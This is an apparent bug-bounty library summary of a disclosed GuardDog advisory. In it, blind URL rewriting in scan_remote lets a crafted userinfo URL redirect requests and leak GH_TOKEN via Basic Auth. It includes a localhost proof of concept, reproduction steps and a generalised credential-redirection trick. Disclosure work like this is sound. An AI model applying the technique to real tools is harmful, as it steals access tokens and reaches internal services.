# GuardDog has a blind GitHub URL rewrite in remote project scanning causes SSRF and `GH_TOKEN` exfiltration

GuardDog's scan_remote blindly rewrites 'github' to 'raw.githubusercontent' in attacker URLs, letting a crafted userinfo URL redirect requests to localhost and leak GH_TOKEN via Basic Auth.

- Payout: Research
- Severity: high
- Program: GuardDog
- Found by: bg0d-glitch
- Disclosed: 2026-05-11
- CVE: CVE-2026-44971
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-587r-mc96-6f2p
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-587r-mc96-6f2p
- Tags: area:oss domain:oss impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:python technique:source-review vuln:secrets-leak vuln:ssrf

**Target:** Python library remote project scanner (ProjectScanner.scan_remote)
**Root cause:** scan_remote builds the raw GitHub URL via url.replace("github", "raw.githubusercontent") without parsing/validating the hostname, then sends the configured GitHub token as Basic Auth to whatever host results.
**Steps:**
1. Start an HTTP listener on `127.0.0.1:18081` logging request path and `Authorization` header.
2. Set `GIT_USERNAME=alice` and `GH_TOKEN=supersecret`.
3. Call `PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt")`.
4. Observe request to `/owner/repo/main/requirements.txt` with `Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=`.
**How found:** Code review of the URL construction in scan_remote: noticed blind string replacement of 'github' and that credentials are attached to the resulting request without hostname validation; crafted a userinfo URL to redirect the host.
**Exploitation:** Attacker influences the repository URL passed to scan_remote; the string replacement turns `http://github@127.0.0.1:18081/...` into `http://raw.githubusercontent@127.0.0.1:18081/...`, which requests parses as host 127.0.0.1:18081 with userinfo. GuardDog then sends the GH_TOKEN as HTTP Basic Auth to that attacker-controlled or internal endpoint, exfiltrating the PAT and enabling SSRF to internal services.
**Escalation:** SSRF to internal/localhost services plus attacker-controlled dependency file content returned by the malicious endpoint.
**Insight:** When a tool rewrites a URL by string replacement and then attaches credentials, try userinfo syntax (`http://github@host`) so the replaced token lands in the userinfo position while the real host stays attacker-chosen — the credential then follows the request to the wrong host.

## Proof of concept (copied exactly from the original report)

**Crafted URL bypassing host validation**

```
http://github@127.0.0.1:18081/owner/repo

is transformed into:

http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt
```

**Reproduction steps leaking GH_TOKEN**

```
1. Start an HTTP listener on `127.0.0.1:18081` that logs the request path and `Authorization` header.
2. Set `GIT_USERNAME=alice` and `GH_TOKEN=supersecret`.
3. Call `PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt")`.
4. Observe a request to `/owner/repo/main/requirements.txt` with `Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=`.
```

